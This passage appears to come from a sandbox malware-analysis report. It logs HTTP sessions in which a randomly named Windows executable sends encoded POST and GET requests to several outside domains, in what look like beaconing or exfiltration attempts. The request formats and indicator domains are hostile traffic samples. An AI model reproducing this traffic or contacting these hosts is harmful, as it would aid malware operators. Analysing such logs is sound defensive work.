Oct 3, 2024 18:15:08.010195017 CEST	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Oct 2024 16:15:07 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "667ac238-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.11.20	49780	176.123.9.220	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:10.537293911 CEST	1289	OUT	POST /8hdf/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.pqoff.cyou Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.pqoff.cyou Referer: http://www.pqoff.cyou/8hdf/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 6f 4a 6d 53 72 34 4e 53 76 34 37 78 64 58 6c 68 63 58 45 2b 43 61 49 44 68 4b 44 70 53 49 6f 41 70 4f 38 53 32 63 72 69 4d 65 47 46 58 48 36 48 4b 41 62 56 61 43 77 4d 69 47 52 4d 6f 45 62 46 37 58 36 4c 41 4a 61 5a 75 54 51 6d 43 76 70 4b 4b 74 51 52 47 79 6d 74 44 75 49 46 65 59 53 73 38 4b 70 54 48 59 45 5a 58 34 4a 2b 63 47 6f 4a 2f 64 7a 6b 67 43 37 2b 72 69 50 64 71 44 6d 74 50 49 42 64 72 4c 6c 64 4a 77 72 6d 56 56 5a 39 51 39 79 44 58 48 36 78 70 5a 42 7a 47 57 65 59 79 39 52 31 76 50 54 55 33 32 61 67 44 4c 4a 4c 5a 48 31 4d 67 70 52 32 4e 66 50 34 76 31 76 36 57 2b 2b 35 74 6f 6a 55 77 47 44 68 57 43 75 48 4c 45 4d 45 4e 6f 59 63 32 78 69 39 6f 4d 51 41 59 75 33 66 76 50 6b 4d 52 4a 54 4e 7a 73 6b 79 47 66 6f 43 72 61 31 63 53 4e 46 58 71 6a 4a 35 58 49 52 4d 46 6d 59 41 46 45 36 58 5a 69 35 4a 55 51 41 66 31 75 33 4e 79 6e 79 36 77 42 32 4a 6f 67 42 70 6b 45 37 75 49 54 77 4c 35 59 64 76 51 57 2b 53 31 79 4e 74 57 48 44 51 4b 76 46 55 43 54 30 42 68 39 43 4d 33 53 52 [TRUNCATED] Data Ascii: SLTxDJ=oJmSr4NSv47xdXlhcXE+CaIDhKDpSIoApO8S2criMeGFXH6HKAbVaCwMiGRMoEbF7X6LAJaZuTQmCvpKKtQRGymtDuIFeYSs8KpTHYEZX4J+cGoJ/dzkgC7+riPdqDmtPIBdrLldJwrmVVZ9Q9yDXH6xpZBzGWeYy9R1vPTU32agDLJLZH1MgpR2NfP4v1v6W++5tojUwGDhWCuHLEMENoYc2xi9oMQAYu3fvPkMRJTNzskyGfoCra1cSNFXqjJ5XIRMFmYAFE6XZi5JUQAf1u3Nyny6wB2JogBpkE7uITwL5YdvQW+S1yNtWHDQKvFUCT0Bh9CM3SR+Q2M1JxfE51mfZewUKsA1UYABfCHVPPC7MydstrbfKef3cKhtrGmofnWksAF2iXN8HZINcFzlrWyLbwLTYju4e/WZ36JxKA66RhZOvy05nQ79j8fhr9avO5Kak3K2L9oyavVS9CPzLRohionL+asBI2I+frN9eOuaXlexDBEj0ANwhOFzlPFFBCAE/LR2FwHMoScJlLncwUJFsV2K8CKPuPDqgXbpJmraMnNImmxAlLkhFlcPDCwf9YASkXpIc6CKoBi3yOEfE+Ranxh1/LRVAB+kroLVJBo7gAESsxBYxTDEf3KRPkucMVrXj+K0yPCN7QVSSkPdmgfKvxqB7B9MAogOmzROzwaSZbw10pE9V409FxufqkqBRL
Oct 3, 2024 18:15:10.537342072 CEST	2578	OUT	Data Raw: 4c 52 4c 31 78 53 41 70 55 6f 72 6f 38 65 50 38 50 2b 61 78 67 4b 58 75 76 66 68 76 48 54 6e 70 63 65 4f 74 54 57 4a 42 79 38 68 70 66 6b 50 56 67 52 76 35 38 45 4c 2b 5a 6d 6b 78 4d 50 76 77 6e 55 5a 62 64 56 62 4d 4d 34 77 54 62 30 59 4d 53 78 Data Ascii: LRL1xSApUoro8eP8P+axgKXuvfhvHTnpceOtTWJBy8hpfkPVgRv58EL+ZmkxMPvwnUZbdVbMM4wTb0YMSxAgLRxl95yyCbpD0OEbgTF7YeSJhD0lWj4eXAGYkHTr8scIHBeMlEqAiMwZ5WlDfD5lZW9AZwQRLj/RlsvPLE5h4qJCjf+laQ9r/jk4KDU5dYbxKMveYB0v5XY4DxpOqUAn1bWY7Cot40u/77aBzReDgBmlkvaXdwb
Oct 3, 2024 18:15:10.537393093 CEST	4080	OUT	Data Raw: 70 79 56 79 47 77 6b 51 68 71 72 51 49 35 56 76 43 4a 54 42 32 32 4a 2b 4b 46 57 35 44 39 62 70 33 4c 71 54 44 41 50 68 41 38 4b 64 43 36 37 63 4d 6b 50 5a 6a 30 77 47 33 54 46 6c 31 53 4d 31 49 46 68 70 61 39 50 53 4d 53 42 50 31 43 41 64 73 6f Data Ascii: pyVyGwkQhqrQI5VvCJTB22J+KFW5D9bp3LqTDAPhA8KdC67cMkPZj0wG3TFl1SM1IFhpa9PSMSBP1CAdsozOVmTdf4vm7kRzX940w7ZDc9bE7ZzTCsmenBW9uxSmxJePiEdD4X3353IvVyuU29DzjWNs4IB+fUuhglmbMPxixSNvjedQOGJfIvLDEDEmMUzyvIQ7/TLcaErKb23y5PeNtI1e+xvRypBSp/Jotzse+7DJdIb3Qmg
Oct 3, 2024 18:15:10.756115913 CEST	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Oct 2024 16:15:10 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "667ac238-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.11.20	49781	176.123.9.220	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:13.284184933 CEST	516	OUT	GET /8hdf/?SLTxDJ=lLOyoMBfr5jpOHc3aGxYSKEVrJDOBL4hs/wtu5LQPMr8OmGbaQfYchAMtHZyuHHG/1HmBLCYvytSJ41hCNMOCinrONpnSIX56rBOFOVmXblBC0Id8Y2VjXg=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.pqoff.cyou Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:15:13.502598047 CEST	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Oct 2024 16:15:13 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "667ac238-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.11.20	49782	5.39.10.93	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:21.773065090 CEST	520	OUT	GET /zerq/?sdqp=DdBtjpu0&SLTxDJ=JJygX/9Yqp2kCJm1X937CsoHlxMYbOn5BbW6iXsQ58IJmHXe+LE0Ahk0W9b16x8ck1wrZbbWmuYj5v7E2XXBWkCBLNkXiRXO/bLJPNeQGE5OCLVGIG7pjJ0= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.spectre.center Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:15:21.970737934 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 16:15:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 66 65 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 2d 52 55 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 68 65 61 64 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 65 63 65 63 65 63 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 76 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 65 63 65 63 65 63 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9f d0 b0 d1 80 d0 ba d0 be d0 b2 d0 b0 20 d1 81 d1 82 d0 be d1 80 d1 96 d0 bd d0 ba d0 b0 20 49 6d 65 6e 61 2e 55 41 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e [TRUNCATED] Data Ascii: 1ffe2<!DOCTYPE html><html lang="ru-RU" prefix="og: http://ogp.me/ns#" class="no-js"><head> <meta name="theme-color" content="#ececec" /> <meta name="msapplication-navbutton-color" content="#ececec" /> <meta charset="UTF-8" /> <title> Imena.UA</title> <link rel="icon" type="image/png" href="//img.imena.ua/i/32.png" sizes="32x32"> <link rel="icon" type="image/png" href="//img.imena.ua/i/96.png" sizes="96x96"> <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700,300&subset=latin,cyrillic" rel="stylesheet" type="text/css" /> <meta name="viewport" content="user-scalable=0, width=device-width, initial-scale=1" /> <link rel="stylesheet" href="https://img.imena.ua/css/media-set.css" type="text/css" /> <style> .park_domain_info { margin: 0 auto; max-width: 650px; text-align: center; } .park_domain_info p { font-size: 16px; padding-b [TRUNCATED]
Oct 3, 2024 18:15:21.970834017 CEST	1289	IN	Data Raw: 30 33 37 37 61 61 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 61 79 6f 75 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 Data Ascii: 0377aa; } </style></head><body> <div class="layout"> <div class="header_nav"> <header> <div class="reducer"> <div class="header_l ovh"> <a href=
Oct 3, 2024 18:15:21.970856905 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 66 69 72 73 74 5f 6e 61 76 5f 6c 69 20 6d 6f 62 5f 6e 61 76 5f 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <li class="first_nav_li mob_nav_3"> <div class="lang"> <div class="lang_curr"> <a href="#" class="lang_ua">
Oct 3, 2024 18:15:21.970953941 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 63 6f 6e 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <div class="icon"></div> <input type="radio" name="h_term" value="1" > <a href="https://www.imena.ua/en" class="l
Oct 3, 2024 18:15:21.970967054 CEST	1289	IN	Data Raw: 38 30 34 34 32 30 31 30 31 30 32 22 3e 2b 33 38 30 20 28 34 34 29 20 32 30 31 2d 30 31 2d 30 32 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 80442010102">+380 (44) 201-01-02</a> </li> <li class="curr"> <a href="/"></a> </li> <li>
Oct 3, 2024 18:15:21.970978975 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 Data Ascii: <li> <a href="https://www.imena.ua/domains/regtm" title=" "> </a> </li>
Oct 3, 2024 18:15:21.970990896 CEST	1289	IN	Data Raw: 3e d0 91 d0 bb d0 be d0 b3 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ></a> </li> <li class="mode_link"> <noindex><a href="/" class="show_desktop" rel="nofollow"> </a></noinde
Oct 3, 2024 18:15:21.971038103 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6f 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 61 6e 67 22 Data Ascii: </ol> </div> <div class="lang"> <div class="lang_curr"> <a href="/" class="lang_ua">
Oct 3, 2024 18:15:21.971128941 CEST	1289	IN	Data Raw: 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6d 65 6e 61 2e 75 61 2f 65 6e 22 20 63 6c 61 73 73 3d 22 6c 61 6e 67 5f 65 6e 22 3e 45 4e 47 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: f="https://www.imena.ua/en" class="lang_en">ENG</a> </div> </div> <div> <label class="radio left checked">
Oct 3, 2024 18:15:21.971206903 CEST	1289	IN	Data Raw: 63 68 65 63 6b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 5f 73 65 61 72 63 68 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 Data Ascii: check"> <div class="domain_search"> <div class="domain_search_bg"> <div class="domain_search_bg_container"> <div class="domain_search_bg_l"></div>
Oct 3, 2024 18:15:22.146390915 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 5f 6c 69 73 74 5f 6c 69 6e 65 20 63 68 61 6e 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c Data Ascii: <div class="domain_list_line change"> <div class="domain_list_elem" data-id="1" data-empty=" "> <label class="checkbox domain checked domain_front">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.11.20	49783	162.250.125.14	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:27.618412018 CEST	790	OUT	POST /39es/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.rbseating.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.rbseating.shop Referer: http://www.rbseating.shop/39es/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 54 53 45 42 63 7a 66 7a 2b 52 50 6e 6e 65 55 69 79 6b 71 50 54 4d 70 31 4b 35 61 75 7a 30 78 76 56 55 75 67 75 75 67 46 30 67 61 78 75 4c 57 42 38 43 4d 5a 52 63 35 77 6e 45 79 47 6f 75 6f 68 38 39 2b 74 55 45 52 55 47 38 55 6f 36 34 47 63 4f 49 64 52 59 37 6c 78 34 78 53 66 35 79 2b 5a 37 78 70 2b 58 47 31 46 4b 70 31 77 77 75 73 4b 4a 4f 6f 74 47 4f 4b 50 48 48 31 31 35 2b 66 6e 41 47 6a 6c 69 41 36 42 53 46 4b 44 66 64 6c 71 76 71 54 54 36 70 49 50 57 61 50 55 66 57 6d 2f 72 2f 6d 6f 56 4d 48 72 47 56 2f 4a 67 56 4c 63 32 61 49 7a 31 46 32 39 4d 51 39 6d 4a 45 6b 4e 38 51 3d 3d Data Ascii: SLTxDJ=TSEBczfz+RPnneUiykqPTMp1K5auz0xvVUuguugF0gaxuLWB8CMZRc5wnEyGouoh89+tUERUG8Uo64GcOIdRY7lx4xSf5y+Z7xp+XG1FKp1wwusKJOotGOKPHH115+fnAGjliA6BSFKDfdlqvqTT6pIPWaPUfWm/r/moVMHrGV/JgVLc2aIz1F29MQ9mJEkN8Q==
Oct 3, 2024 18:15:28.149975061 CEST	1289	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://rbseating.shop/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Thu, 03 Oct 2024 16:15:28 GMT Data Raw: 33 65 62 33 0d 0a f4 49 14 a2 a8 a6 fd 70 33 52 b4 7a 08 68 a4 2c 9c bf 7f 06 8e eb b1 ce fb 7f f3 55 fb 75 72 4e 17 fb 6b 7a 22 13 0e 00 81 d4 cf a1 2a 75 dc 26 e9 ef 93 f6 fd 6c 8f 06 22 2f 29 c4 20 c0 02 97 fa 94 e1 6e 31 e7 ad 96 fd 53 d3 de 9a 9a 71 d1 bf c0 ff 10 ff 07 20 1c bc 2d 69 2f 2b 1b af cf b1 fc 8f 53 03 11 10 05 9b 22 69 80 ba d6 eb 99 14 7d 8a 32 55 8a 36 65 7e d5 e5 ef fd bd 56 79 bb 17 21 e2 68 c3 c9 96 58 b0 40 90 51 d6 3b d1 81 1b fc ff df 0f be be 1c 48 96 02 b0 03 19 02 c1 80 dc f6 b9 e7 d2 7b 9f 2c 70 f7 6a e5 26 e3 c8 83 a6 ee 55 e3 82 61 00 21 da da 70 63 bb 61 01 87 30 5a 4e b2 a7 45 2d 50 36 e1 04 59 be cb a1 d1 fc 35 8f 88 20 43 d0 56 6f 19 b3 ea f4 6a 79 85 90 40 a4 a4 e9 ce 3f 86 5a 3f 66 f3 bf 1b 05 c4 19 54 20 bd c7 50 7d dd bb 4d 54 f0 13 8b a8 c4 a7 13 60 dd 5f c1 38 b5 76 fb aa 1b 6f 92 8e c4 97 bf 25 db 9a 5c dd 22 dd 26 ff be 88 b4 49 ce fd 6e e2 e6 39 dd e2 26 61 96 5c 42 0e 9f 45 bd b0 c9 7a 11 87 13 bd 7f c8 89 58 6a 8b 9b 2c d9 7e f6 f2 05 7c 6e 8d 7b 86 80 [TRUNCATED] Data Ascii: 3eb3Ip3Rzh,UurNkz"u&l"/) n1Sq -i/+S"i}2U6e~Vy!hX@Q;H{,pj&Ua!pca0ZNE-P6Y5 CVojy@?Z?fT P}MT`_8vo%\"&In9&a\BEzXj,~\|n{vttiFLfY'/1N=++<7?r4o>_gaZ8j<$\m?I?nF]tEvMA$p&+{:tsj#);iB_TB[t(,^a-Sh> qM^G#`+>NQ<8E~\|fqq8y8G<oRSR>8=uBL<N?@-5N~_1lr)d/WXAe+:y;6u#uB(SdK8mK;FrV/v&wsq1FA7(#mw~IF5hq$Z9q~~RGYjwQ*W\|GYk3Wl]Oq4Cem\|IJV4amNpH>gIc
Oct 3, 2024 18:15:28.150047064 CEST	1289	IN	Data Raw: 5e 0d e0 66 b3 09 0f f4 34 b2 4a fe f8 fe a5 8b 27 43 e5 21 25 36 94 3a 62 52 5b dd 24 05 e6 b7 84 4b 91 27 8f 7d 75 37 2b 1f fb aa ae 67 8f 7d 8d aa 7e ec 73 a5 aa c7 3e 5f ea 55 68 67 09 e8 37 dd 9f 03 fb e2 2a 2b ae 50 af ae 6a fd 78 d9 59 12 Data Ascii: ^f4J'C!%6:bR[$K'}u7+g}~s>_Uhg7*+PjxY$Zl2c_7LjU@o~%^[7!K{@We\|l}q&:@$l_X%Wtko1\|m^p2hk0.v%_8<u2T+)bT
Oct 3, 2024 18:15:28.150058985 CEST	1289	IN	Data Raw: f1 66 88 d3 71 32 ca 3b ce 95 5a 97 33 5b 8e e8 62 d0 44 c0 76 2d 30 e8 1d 4a e2 d7 ef 7d 75 11 d1 0b 79 26 57 d8 b2 f5 c8 05 27 f3 67 ef a9 86 9e cb 8c ad c7 43 c6 25 3a 0a 17 a1 02 ce 19 0e 19 3f e4 11 3f 7e ce 0f b3 1f 7f c6 0f f3 1f 7f ce 0f Data Ascii: fq2;Z3[bDv-0J}uy&W'gC%:??~9K./f?zGCiJRr2y^w+gEv={Nhli/dfhYvw(@#Ha@P;3,}d%GUGyv*j.<rHY`MeU\|
Oct 3, 2024 18:15:28.150073051 CEST	1289	IN	Data Raw: ca 9d ef fa 4e 54 41 9f 30 48 93 2b d5 7b 5e 30 96 c2 a8 a0 80 56 1b d7 dc cc 12 aa 91 da 5e 9c 91 e7 79 8b 60 3b 05 f9 2e 06 85 f5 f8 bb d2 57 78 67 74 ba 41 b8 e6 fd 95 1c 01 0d c1 f5 6a c8 b1 08 d7 1b d3 aa 56 96 be c5 35 fb 2a 72 79 4d ba aa Data Ascii: NTA0H+{^0V^y`;.WxgtAjV5*ryMvwv#,.U) W)QeH'nq:5aU8=xMP86lkVKjf.522}hs}h]U(Ie&tc6
Oct 3, 2024 18:15:28.150171995 CEST	1289	IN	Data Raw: a5 a6 69 67 9a 5e 5e 0d 87 ac 46 28 82 96 27 db 6c 82 ab 4f 7d 71 0d 46 3e 90 d9 56 98 bd 0c c6 7c 20 f9 56 58 bc 0c ca f2 66 5a 20 c7 e9 33 43 2d 21 90 e7 bb c9 62 1a d4 70 2c bc 12 c4 53 e3 65 b3 16 c5 52 bd 75 5b 3b 5d 76 05 7b eb a8 ee 6a f1 Data Ascii: ig^^F('lO}qF>V\| VXfZ 3C-!bp,SeRu[;]v{j"m>>pq>fMi,1-f4}hMkk%O2%\|UWP8VP'\%(cHm* ,{HG3JEe}$]5T]Na6E
Oct 3, 2024 18:15:28.150183916 CEST	1289	IN	Data Raw: 55 40 a2 33 6f 10 e2 d4 89 35 15 cc b2 38 94 1c f2 c2 38 f9 2e f4 5c 03 66 21 ea 02 32 a1 1c 39 de 4f 92 28 c7 fb 0e 06 a5 21 3f 4c 7f 63 6a 85 43 d4 39 53 37 d1 89 bf 89 fb fc 32 54 4e 72 36 f9 0b 4c c9 11 7e 13 5e db 33 f7 e6 44 41 2f 58 3e bb Data Ascii: U@3o588.\f!29O(!?LcjC9S72TNr6L~^3DA/X>r3@vBCQ,\|Cm]>_'[D{l`11XVy1l%e'1lC 8_2wZvGU_k`=6uVWBz%\I c]@mJN2!n+&
Oct 3, 2024 18:15:28.150194883 CEST	1289	IN	Data Raw: 80 40 55 5f d2 55 d5 22 2d f0 a6 17 01 80 54 71 4c 1c b3 61 09 de 34 27 2f e4 7c ca eb 5d 89 74 14 c8 c9 a9 70 ef 03 ce ba cb 00 a5 c1 b1 a7 59 2d 47 7d 1f 05 72 72 2a dc fb 80 f3 ee 72 40 69 6a 79 50 f3 a8 7b 14 c8 c9 a9 70 ef 03 9e 75 37 03 94 Data Ascii: @U_U"-TqLa4'/\|]tpY-G}rrr@ijyP{pu7uu99}:G7[xPxPQ99n%Kn(M-2Q 'qyuu(S_h`wizAth7$xTqruOxk>[7tV\l]
Oct 3, 2024 18:15:28.150245905 CEST	1289	IN	Data Raw: 71 1f f9 f5 79 39 08 e3 c2 7a ca 9b 60 aa 0b 99 12 d2 12 7b 14 5a c6 23 93 e9 42 7b 9a c7 d4 01 75 f2 50 19 1d 59 dc 5c 26 8a 48 47 ca 92 27 30 e8 54 a0 f3 e2 c5 33 17 1c 90 ca 4b 8c 6f cf e3 48 53 89 a9 d9 b2 12 69 8f cb 6b da d2 f3 22 f4 d2 32 Data Ascii: qy9z`{Z#B{uPY\&HG'0T3KoHSik"25k.-:M_Q:Qv[uh3IxD5J#f\|2/h^pa<;{jm7 \Yvl9v_z27<*B#"y#[o$zal
Oct 3, 2024 18:15:28.150331974 CEST	1289	IN	Data Raw: 3f 7b 1d b0 80 6c 1d f2 3e 9f 8b 59 01 f3 e9 ec d3 a3 65 26 e6 05 cc a6 3f 24 ba 4e f4 5f dc 29 82 c8 02 04 ca 87 39 4f 48 5e 00 4f 46 39 f9 0f 52 4e 78 52 40 3e e2 49 50 6c 46 f2 e4 ed 50 37 51 c0 29 fb c3 23 dc bb 8f f2 a8 1a b2 ac b7 d6 af 49 Data Ascii: ?{l>Ye&?$N_)9OH^OF9RNxR@>IPlFP7Q)#IS\f;)`T~nS!m8]V)vvg5qFpZ&zMjztV'MpTq'0ZhQ5K].c,rA,N3oefI.Sm]WNek!IgBB0
